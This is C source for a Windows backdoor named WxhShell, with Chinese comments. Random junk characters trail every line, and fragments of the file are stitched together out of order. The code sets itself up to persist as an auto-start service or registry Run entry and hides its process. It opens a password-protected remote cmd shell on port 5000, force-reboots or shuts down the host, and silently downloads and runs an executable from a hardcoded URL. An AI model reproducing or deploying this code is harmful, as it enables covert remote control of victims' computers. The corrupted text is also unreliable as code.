    if(Boot(SHUTDOWN)) 108cf~2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ej;BI#gx=  
    else { Wjf,AjL\  
    closesocket(wsh); E$8 D^Zt  
    ExitThread(0); r:xbs0 7  
    } cJ ^:b4j  
    break; eG&3E`[  
    } v%|S)^c?:  
  // 获取shell VyF|d? b  
  case 's': { >)+ -:  
    CmdShell(wsh); 3_5]0:?]-  
    closesocket(wsh); _zuX6DO  
    ExitThread(0); =eHoJq  
    break; =PQMd  
  } B)!ty"  
  // 退出 qG&}lg?g{  
  case 'x': { agI"Kh]j?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j o+-  
    CloseIt(wsh); 655OL)|cD6  
    break; IH2V .>h  
    } r9\7I7z  
  // 离开 _`Lv@T.  
  case 'q': { *PF}L%K(?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v-utDQT3  
    closesocket(wsh); *i`t4N A  
    WSACleanup(); }HLs.k4-;  
    exit(1); eI@nskq#  
    break; @Q%9b)\\  
        } AP:(/@K|  
  } 26K sP .-  
  } |mS-<e8LY4  
gt>k]0  
  // 提示信息 WR<,[*Mv^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OZ SM2~  
} c04;2gR  
  } (gQr?K  
9-`P\/  
  return; e'y$X;nIv  
} hKjG/g:#G  
q4xP<b^  
// shell模块句柄 l.iT+T  
int CmdShell(SOCKET sock) Md5|j0#p  
{ FdcmA22k*  
STARTUPINFO si; [ 11D7L%1t  
ZeroMemory(&si,sizeof(si)); ,qz:(Nr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R5b!Ao  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2m8|0E|@  
PROCESS_INFORMATION ProcessInfo; P/ XO5`  
char cmdline[]="cmd"; k x?m "a%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fvNj5Vq:  
  return 0; #`5>XfbmQ(  
} HB0DG<c-  
Hl*V i3bQU  
// 自身启动模式 -(Fhj Ir  
int StartFromService(void) n@PXC8}  
{ f [DZ  
typedef struct *u)#yEJ)  
{ QNcbl8@  
  DWORD ExitStatus; `z!6zo2d  
  DWORD PebBaseAddress; !8@8  
  DWORD AffinityMask; g)**)mz[  
  DWORD BasePriority; 04E S>'@  
  ULONG UniqueProcessId; 7W]0bJK+E  
  ULONG InheritedFromUniqueProcessId; tZz *O%  
}   PROCESS_BASIC_INFORMATION; %8hx3N8>  
PJn|  
PROCNTQSIP NtQueryInformationProcess; eelkK,4  
c`agrS:P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b+tm[@|,v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4R&e5!  
AcQmY?  
  HANDLE             hProcess; IW$qP&a  
  PROCESS_BASIC_INFORMATION pbi; XlaGR2-%  
k )=Gyv<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d>1cKmH!  
  if(NULL == hInst ) return 0; IA3m.Vxj ^  
M/5+AsT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xO0}A1t Wd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LUfo@R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6-t:eo9  
9H%dK^C  
  if (!NtQueryInformationProcess) return 0; OBEHUJ5  
.*~t2 :  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ai$s  
  if(!hProcess) return 0; pm>$'z!.):  
dml,|k=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Me&> "N"  
HU47 S  
  CloseHandle(hProcess); (p!w`MSv  
y py  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QZ2a1f'G  
if(hProcess==NULL) return 0; h}n?4B~Gi  
+d'1  
HMODULE hMod; n qC@dHP  
char procName[255]; Y$<p_X,  
unsigned long cbNeeded; QnH;+k ln  
gaC [%M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iu.$P-s  
=jD9oMs  
  CloseHandle(hProcess); E/ {v6S{)Y  
0 ~^l*  
if(strstr(procName,"services")) return 1; // 以服务启动 D0*+7n3  
4sM9~zC5  
  return 0; // 注册表启动 %uQOAe55  
} (4Ha'uqz  
.:9XpKbt  
// 主模块 *Q!I^]CR  
int StartWxhshell(LPSTR lpCmdLine) 3:?QE  
{ n h&[e  
  SOCKET wsl; CSVL,(Uw  
BOOL val=TRUE; Mq Q'Kjo  
  int port=0; 3\Tqs  
  struct sockaddr_in door; 3( o~|%  
E! mxa  
  if(wscfg.ws_autoins) Install(); #QM9!k@9k  
=j^wa')  
port=atoi(lpCmdLine); rL23^}+^`  
g=Bge)  
if(port<=0) port=wscfg.ws_port; 1{$=N 2U  
)F3>  
  WSADATA data; 5XF&yYWq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #%{x*y:Ms  
01">$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gr|IM,5P4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 30<3DA_P  
  door.sin_family = AF_INET; Q4B(NYEu(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /" 6Gh'  
  door.sin_port = htons(port); Nf1&UgX  
' )~G2Ys  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jm&PGZ#n=R  
closesocket(wsl); J5L[)Gd)D  
return 1; aBT8mK -.  
} 0RGqpJxk  
CQh6;[\:  
  if(listen(wsl,2) == INVALID_SOCKET) { 1pJ?YV  
closesocket(wsl); 5$%CRm  
return 1; ~zc B@; :  
} CJf4b:SY@  
  Wxhshell(wsl); jVInTR0f[  
  WSACleanup(); ofy)}/i  
wY{!gQ  
return 0; w|( ix;pK  
.,&6 x.  
} IiZXIG4H  
*zl-R*bM$  
// 以NT服务方式启动 >fx/TSql:J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9HG"}CGZP  
{ nV>=n,+s"  
DWORD   status = 0; 3}x6IM 2  
  DWORD   specificError = 0xfffffff; RWdx) qj{  
^Kj xQO6y3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :~LOw}N!aQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Po7oo9d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Kg _E6  
  serviceStatus.dwWin32ExitCode     = 0; m?O"LGBB =  
  serviceStatus.dwServiceSpecificExitCode = 0; x%OJ3Qjj=  
  serviceStatus.dwCheckPoint       = 0; )vy_m_f&  
  serviceStatus.dwWaitHint       = 0; sZ%wQqy~k  
{PS|q?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \$Aw[ 5&t  
  if (hServiceStatusHandle==0) return; m4 :"c"  
M6:$ 0(r  
status = GetLastError(); CooOBk  
  if (status!=NO_ERROR) F0tx.]uS  
{ a~A"uLBR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g<s;uRA4O9  
    serviceStatus.dwCheckPoint       = 0; TykY>cl   
    serviceStatus.dwWaitHint       = 0; KYC<*1k  
    serviceStatus.dwWin32ExitCode     = status; U{PFeR,Uk  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9ve)+Lk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/ 3#(5  
    return; H':0  
  } bw*D!mm,  
~'t+X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c'uDK>  
  serviceStatus.dwCheckPoint       = 0;  R7ExMJw  
  serviceStatus.dwWaitHint       = 0; mL3 Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Nk )  
} Mq4>Mu  
eDL0Vw  
// 处理NT服务事件,比如:启动、停止 g#r,u5<*?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~vstuRRST  
{ 41^ $  
switch(fdwControl) VCc57 Bo  
{ iuHs.k<z  
case SERVICE_CONTROL_STOP: V u1|5  
  serviceStatus.dwWin32ExitCode = 0; d;E (^l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^=,N] j  
  serviceStatus.dwCheckPoint   = 0; D~r{(u~Ya  
  serviceStatus.dwWaitHint     = 0; "= >8UR  
  { _2rxDd1#.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;0;5+ J7  
  } #r;uM+  
  return; Rkh ^|_<!  
case SERVICE_CONTROL_PAUSE: $*vj7V_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R*>EbOuI  
  break; Yy4l -}"  
case SERVICE_CONTROL_CONTINUE: 0w ;#4X:m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w02t9vz  
  break; _0!<iN L  
case SERVICE_CONTROL_INTERROGATE: [J+]1hCZ|  
  break; "Tc[1{eI  
}; #b+>O+vx8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &d i=alvv1  
} g0 Jy:`M  
z:p9&mi  
// 标准应用程序主函数 U?(+ {4l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rv@( [rn+  
{ 6M X4h  
~[`*)(4E  
// 获取操作系统版本 `fUP q ;  
OsIsNt=GetOsVer(); N3o kN8d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {14sI*b16  
%\?Gzc_  
  // 从命令行安装 [Ontip  
  if(strpbrk(lpCmdLine,"iI")) Install(); u\P)x~-TM  
y];@ M<<?e  
  // 下载执行文件 @j+X>TD  
if(wscfg.ws_downexe) { 'Z`fZ5q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _VI3b$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~=9]M.$  
} CQ^I;[=d  
kf2e-)uUs  
if(!OsIsNt) { x(bM   
// 如果时win9x,隐藏进程并且设置为注册表启动 8I%N^G  
HideProc(); Xr$hQbl5D  
StartWxhshell(lpCmdLine); d{~Qd|<rr  
} g%2twq_  
else LAPC L&Z  
  if(StartFromService()) <G#z;]N  
  // 以服务方式启动 V|G[j\]E<  
  StartServiceCtrlDispatcher(DispatchTable); un(fr7NW  
else XaR(~2  
  // 普通方式启动 g@IYD  
  StartWxhshell(lpCmdLine); 9}Qrb@DT  
7kH GU  
return 0; IXt cHAgX  
} UCS`09KNJ  
DY!mq91  
$-;x8O]u  
A3mSSc6  
=========================================== k80!!S=_>  
;P2(C >|  
77o&$l,A|  
`%Uz0hF  
fqS cf}s  
2mVLR;s{_  
" ~ZXAW~a}  
C! J6"j  
#include <stdio.h> ~n`G>Oe3  
#include <string.h> \|q.M0  
#include <windows.h> W5a>6u=g,  
#include <winsock2.h> aIABx!83>  
#include <winsvc.h> NZ?|#5 3  
#include <urlmon.h> .47tj`L   
4 Q FX  
#pragma comment (lib, "Ws2_32.lib") %QKRl 5RM-  
#pragma comment (lib, "urlmon.lib") "f3KE=cUm  
?ne!LDlE|  
#define MAX_USER   100 // 最大客户端连接数 XqK\'8]\Mw  
#define BUF_SOCK   200 // sock buffer t4CI+fqy  
#define KEY_BUFF   255 // 输入 buffer PbN"+qM  
3+| {O  
#define REBOOT     0   // 重启 AC9#!# OGB  
#define SHUTDOWN   1   // 关机 ; #^Jy#)  
?L~Z]+-  
#define DEF_PORT   5000 // 监听端口 QW1d&Gb.(  
0&|,HK  
#define REG_LEN     16   // 注册表键长度 "J (.dg]"  
#define SVC_LEN     80   // NT服务名长度 *) ?Fo  
?5#=Mh#  
// 从dll定义API 8/* 6&#-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [Q*aJLG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HOY9{>E}z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /"%QIy'{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pw_[{LL  
O`W&`B(*k  
// wxhshell配置信息 j2"Y{6c  
struct WSCFG { b(McH*_8e  
  int ws_port;         // 监听端口 GDj ViAFm  
  char ws_passstr[REG_LEN]; // 口令 9XPQ1LSx  
  int ws_autoins;       // 安装标记, 1=yes 0=no mQ]wLPP{1  
  char ws_regname[REG_LEN]; // 注册表键名 L?( % *  
  char ws_svcname[REG_LEN]; // 服务名 k 1   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IfGQeynj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .+TriPL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9QryW\6.@z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'L0{Ed+9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UCP4w@C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `nDgwp:b"  
1*Ui=M4  
}; >{]mN5  
l TJqWSV=f  
// default Wxhshell configuration %<Q?|}  
struct WSCFG wscfg={DEF_PORT, Bz#K_S  
    "xuhuanlingzhe", 63?fn~0\  
    1, MJ:>ZRXC E  
    "Wxhshell", :,^pLAt  
    "Wxhshell", q$=EUB"C  
            "WxhShell Service", >@o}l:*  
    "Wrsky Windows CmdShell Service", (W l5F  
    "Please Input Your Password: ", 32*FISH^  
  1, %wp#vO-$  
  "http://www.wrsky.com/wxhshell.exe", #815h,nP+  
  "Wxhshell.exe" Rtl;*ZAS  
    }; %Pb 5PIk4  
 *R6n+d  
// 消息定义模块 ?>p<!:E!r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H.ZmLB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,~_)Cf#CB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F+@E6I'g  
char *msg_ws_ext="\n\rExit."; G;%Pf9 o26  
char *msg_ws_end="\n\rQuit."; 6T_Mk0Sf+  
char *msg_ws_boot="\n\rReboot..."; buhn~ c  
char *msg_ws_poff="\n\rShutdown..."; F" -w  
char *msg_ws_down="\n\rSave to "; $LF  
Bjz\L0d  
char *msg_ws_err="\n\rErr!"; s2@}01QPo  
char *msg_ws_ok="\n\rOK!"; _~`\TS8  
]<;m;/ H  
char ExeFile[MAX_PATH]; Svmyg]  
int nUser = 0; b:}`O!UBw  
HANDLE handles[MAX_USER]; ?wR;"  
int OsIsNt; wxg`[c$:  
RJ_ratKN*g  
SERVICE_STATUS       serviceStatus; <(Wa8PY2(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <M1XG7_I  
g& *pk5V>  
// 函数声明 X]Emz"   
int Install(void); 3?vasL  
int Uninstall(void); !(hP{k ^g  
int DownloadFile(char *sURL, SOCKET wsh); cmIAWFj-)e  
int Boot(int flag); Hize m!  
void HideProc(void); 7FVu [Qu  
int GetOsVer(void); ^#R-_I  
int Wxhshell(SOCKET wsl); n NI V(  
void TalkWithClient(void *cs); _ID2yJ   
int CmdShell(SOCKET sock); @awaN  
int StartFromService(void); cf|<~7  
int StartWxhshell(LPSTR lpCmdLine); 'wAO Y  
=$g8"[4   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 22|f!la8n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~7!J/LHg  
%3i/PIN  
// 数据结构和表定义 .6[xX?i^T  
SERVICE_TABLE_ENTRY DispatchTable[] = g]V}azLr  
{ 1@Bq-2OD4  
{wscfg.ws_svcname, NTServiceMain}, j}chU'i f  
{NULL, NULL} ^ZFbp@#U  
}; ~4wbIE_r N  
;C%D+"l1g  
// 自我安装 ZbYwuyHk(3  
int Install(void) 1WPDMLuN  
{ <v"C`cga  
  char svExeFile[MAX_PATH]; EvMhNq~y5  
  HKEY key; S zOB{  
  strcpy(svExeFile,ExeFile); :rb<mg[  
P sD+?  
// 如果是win9x系统,修改注册表设为自启动 )@3ce'  
if(!OsIsNt) { r6Z&i^cMe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xu$xO(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -pj&|< h+9  
  RegCloseKey(key); 2F3IC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mz<4P3"H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mj<(qZh  
  RegCloseKey(key); {W }.z  
  return 0; %#NaM\=8v  
    } sb_>D`>  
  } +V&b<y;?>  
} ;0}$zy1EZ  
else { WZRrqrjq  
A~-e?.  
// 如果是NT以上系统,安装为系统服务 K$Y!d"D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H!&]Di1Eh  
if (schSCManager!=0) TeQWrm s  
{ e(BF=gesgp  
  SC_HANDLE schService = CreateService {so"xoA^c  
  ( IBU(Hm1,  
  schSCManager, m4ovppC  
  wscfg.ws_svcname, 'oHtg @  
  wscfg.ws_svcdisp, QQ97BP7W  
  SERVICE_ALL_ACCESS, >  K,Q`sS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K(Otgp+zb  
  SERVICE_AUTO_START, C$)#s{*  
  SERVICE_ERROR_NORMAL, pq>"GEN  
  svExeFile, anA>'63  
  NULL, -zHJ#  
  NULL, PF@<>NO+W  
  NULL, %Md;=,a:6  
  NULL, Cdiu*#f  
  NULL m$A|Sx&sG$  
  ); f6^H Q1SSt  
  if (schService!=0) (I,PC*:  
  { j0o_``  
  CloseServiceHandle(schService); 8;.WX  
  CloseServiceHandle(schSCManager); g!D?Yj4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bfaj4i ;_  
  strcat(svExeFile,wscfg.ws_svcname); zp"sM z]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kwK<?\D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %|o4 U0c  
  RegCloseKey(key); *gu~7&yoP  
  return 0; L]kSj$A  
    } i+jSXn"_  
  }  F[115/  
  CloseServiceHandle(schSCManager); rayC1#f  
} ?bQ~ +M\  
} Az6f I*yP  
_7]* 5Pxo  
return 1; I9ubVcV8  
} 2@1A,  
sju. `f>-r  
// 自我卸载  {k}S!T  
int Uninstall(void) <"AP&J'H  
{ 6I72;e ^!  
  HKEY key; ,S:LhgSP  
Fc7mAV=  
if(!OsIsNt) { @xB"9s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kfg9l?R$I<  
  RegDeleteValue(key,wscfg.ws_regname); D>~z{H%\  
  RegCloseKey(key); 4&r^mGs,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o{?s\)aBa  
  RegDeleteValue(key,wscfg.ws_regname); DK&J"0jz,  
  RegCloseKey(key); G*mk 19Z  
  return 0; {Aj}s3v  
  } !tmY_[\  
} Dx/?0F7V  
} 6N:fq  
else { `K~300-hOb  
;->(hFJt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5sEq`P}5  
if (schSCManager!=0) %gJf&A  
{ zm9>"(H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |9jeOV}/  
  if (schService!=0) nv*q N\i'  
  { QW|,_u5j  
  if(DeleteService(schService)!=0) { vEvVT]g[V  
  CloseServiceHandle(schService); l^%Ez?-:s  
  CloseServiceHandle(schSCManager); /'u-Fr(Q+  
  return 0; W'-B)li   
  } @.a[2,o_  
  CloseServiceHandle(schService); <E|i3\[p  
  } 7\rz*  
  CloseServiceHandle(schSCManager); 7*M+bZ`x  
} pz6fL=Xd  
} My76]\Psh  
{2}O\A  
return 1; 7pMrYIP  
} V?t^ J7{'  
U{} bx  
// 从指定url下载文件 9h<];  
int DownloadFile(char *sURL, SOCKET wsh) /^G1wz2  
{ 6OF&Q`*4  
  HRESULT hr; ib0M$Y1tIS  
char seps[]= "/"; - {>JF  
char *token; {l%Of  
char *file; ,H2[["1DH  
char myURL[MAX_PATH];  [:  
char myFILE[MAX_PATH]; i!LEA/"V  
S2kFdx*Zf  
strcpy(myURL,sURL);  T+9#P4  
  token=strtok(myURL,seps); -[|R \'i  
  while(token!=NULL) Nj5Mc>_   
  { 'mXf8   
    file=token; A/|To!R  
  token=strtok(NULL,seps); !<Ma9%uC{  
  } 2)Grl;T]s  
uwXquOw  
GetCurrentDirectory(MAX_PATH,myFILE); U ]`SM6  
strcat(myFILE, "\\"); eqb8W5h'  
strcat(myFILE, file); 3J32W@}.K  
  send(wsh,myFILE,strlen(myFILE),0); oa?bOm  
send(wsh,"...",3,0); <xKer<D %  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ) kfA5xi[  
  if(hr==S_OK) WId"2W3M  
return 0; 3'}(:X(  
else "9jt2@<  
return 1; aJ}y|+Cj  
k(pI5N}pJZ  
} X+z!?W*a  
P hs4]!  
// 系统电源模块 s3>,%8O6  
int Boot(int flag) ] +<[D2f  
{ R?b3G4~  
  HANDLE hToken; 1N{}G$'Go  
  TOKEN_PRIVILEGES tkp; 5 >S #ew  
=&;orP  
  if(OsIsNt) { ]B/Gz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c Owa^;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RSC^R}a5  
    tkp.PrivilegeCount = 1; NGcd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SU~t7Ta!G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P$ZIKkf  
if(flag==REBOOT) { 3gV 17a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XZD9vFj1Z  
  return 0; zePVB -@u  
} 2a|9D \  
else { As }:~Jy|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FNL[6.!PV  
  return 0; 8/F}vfKEN  
} +!h~T5Ck  
  } {+%|n OWV  
  else { l2vIKc  
if(flag==REBOOT) { dmI~$*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |T\`wcP`q  
  return 0; r"sK@  
} C62:G+W&o  
else { &TJMopVn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X|zQZ<CO  
  return 0; Hof@,w  
} meey5}  
} r6S-G{o  
XVr>\T4  
return 1; QVLv}w`O  
} z*n  
^YG'p?r.s  
// win9x进程隐藏模块 (8T36pt~  
void HideProc(void) `Sgj!/! F  
{ #JMww  
 kDbDG,O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m}ZkNWH  
  if ( hKernel != NULL ) E[q:65xl  
  { E-gI'qG\(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {w:*t)@j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U4)x"s[CP  
    FreeLibrary(hKernel); :0@R(ct;>  
  } /e5' YVP  
cq:<,Ke  
return; KZrg4TEVi  
} 8_ byS<b8  
p+M#hF5o  
// 获取操作系统版本 e.-+zkQ8EI  
int GetOsVer(void) cj K\(b3  
{ [PG#5.jwQ  
  OSVERSIONINFO winfo; zwJB.4@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (=&z:-52V  
  GetVersionEx(&winfo); :{sy2g/+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c=d` DJ  
  return 1; $d0xJxM  
  else WXHvUiFf  
  return 0; LX f r  
} U}f"a!  
DBTeV-G9~R  
// 客户端句柄模块 OM,Dy&Y  
int Wxhshell(SOCKET wsl) h0**[LDH  
{ *rKj%Me  
  SOCKET wsh; <"/b 5kc  
  struct sockaddr_in client; QguRU|y  
  DWORD myID; 7`eg;s^  
(<GBhNj=c  
  while(nUser<MAX_USER) S $j"'K  
{ WxPu{N  
  int nSize=sizeof(client); *^[m?3"W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @yV.Yx"p_  
  if(wsh==INVALID_SOCKET) return 1; P+ ejyl,  
Sb QM!Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yt]Y(  
if(handles[nUser]==0) ]mzghH:E  
  closesocket(wsh); ~K$dQb])  
else cQzUR^oq,  
  nUser++; \]Bwib%h  
  } F)8M9%g5m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {!0f.nv  
>DM^/EAG{  
  return 0; a~*wZJ  
} .@KI,_X6,  
oaac.7.fV  
// 关闭 socket Jb;@'o6  
void CloseIt(SOCKET wsh) 6 uS;H]nd<  
{ ,vDSY N6  
closesocket(wsh); /Fj*sS8  
nUser--; 8*x/NaH /\  
ExitThread(0); \Gl>$5np  
} `8 Ann~Z|k  
E$"`|Df  
// 客户端请求句柄 BbIg]E/G  
void TalkWithClient(void *cs) `g}po%k  
{ [iXkv\  
^\ku}X_ [?  
  SOCKET wsh=(SOCKET)cs; Q30TR  
  char pwd[SVC_LEN]; ~'#yH#o  
  char cmd[KEY_BUFF]; @f!r"P]  
char chr[1]; rtxG-a56Q  
int i,j; t) uS7y  
@1vpkB~ w  
  while (nUser < MAX_USER) { \x=j  
Bo +Yu(|cL  
if(wscfg.ws_passstr) { Je*hyi7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mufXM(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bHRRgR`,  
  //ZeroMemory(pwd,KEY_BUFF); 230ijq3Y G  
      i=0; mS?W+jy%  
  while(i<SVC_LEN) { 2{|mL`$04<  
\=2<< iv  
  // 设置超时 b QgtZHO  
  fd_set FdRead;  0`QF:  
  struct timeval TimeOut; GHR r+  
  FD_ZERO(&FdRead); XXg~eu?  
  FD_SET(wsh,&FdRead); 4+B&/}FDLo  
  TimeOut.tv_sec=8; tk\)]kj  
  TimeOut.tv_usec=0; #z#`EBXV$6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `f<&=_,xfH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3f-J%!aH  
 myOdf'=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2TccIv  
  pwd=chr[0]; E#n=aY~u-  
  if(chr[0]==0xd || chr[0]==0xa) { 06]%$ -j  
  pwd=0; h f{RI4Jc  
  break; X?aj0# Q  
  } &HBC9Bx/(  
  i++; XK{KFB-  
    } cqG&n0zb  
bLSUF`-z  
  // 如果是非法用户,关闭 socket X:JU#sI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rVM?[_'O  
} -Oplk*  
/5Tp)h|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oj1B @QE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ms6dl-_t  
PI&@/+  
while(1) { ,5}")T["u  
E?(:9#02  
  ZeroMemory(cmd,KEY_BUFF); E_H.!pr  
PTH'-G  
      // 自动支持客户端 telnet标准   -\&b&;_  
  j=0; LMRq.wxbbB  
  while(j<KEY_BUFF) { J-ErG!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `u" )*Q}  
  cmd[j]=chr[0]; wCt!.<, .  
  if(chr[0]==0xa || chr[0]==0xd) { 'M35L30  
  cmd[j]=0; f {j`d&|  
  break; ]D<3y IGS  
  } J'C%  
  j++; JN-W`2  
    } -ZH6*7!  
HX#$ ^@Q(  
  // 下载文件 ,CIsZ1[VS  
  if(strstr(cmd,"http://")) { KkZS6rD\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &hnKBr(Lw  
  if(DownloadFile(cmd,wsh)) L=&dJpyfT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yq6:7<  
  else %\B@!4]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M7.H;.?  
  } ^wD@)Dz  
  else { 9'0v]ar  
!'(QF9%Q  
    switch(cmd[0]) { -eFq^KP2  
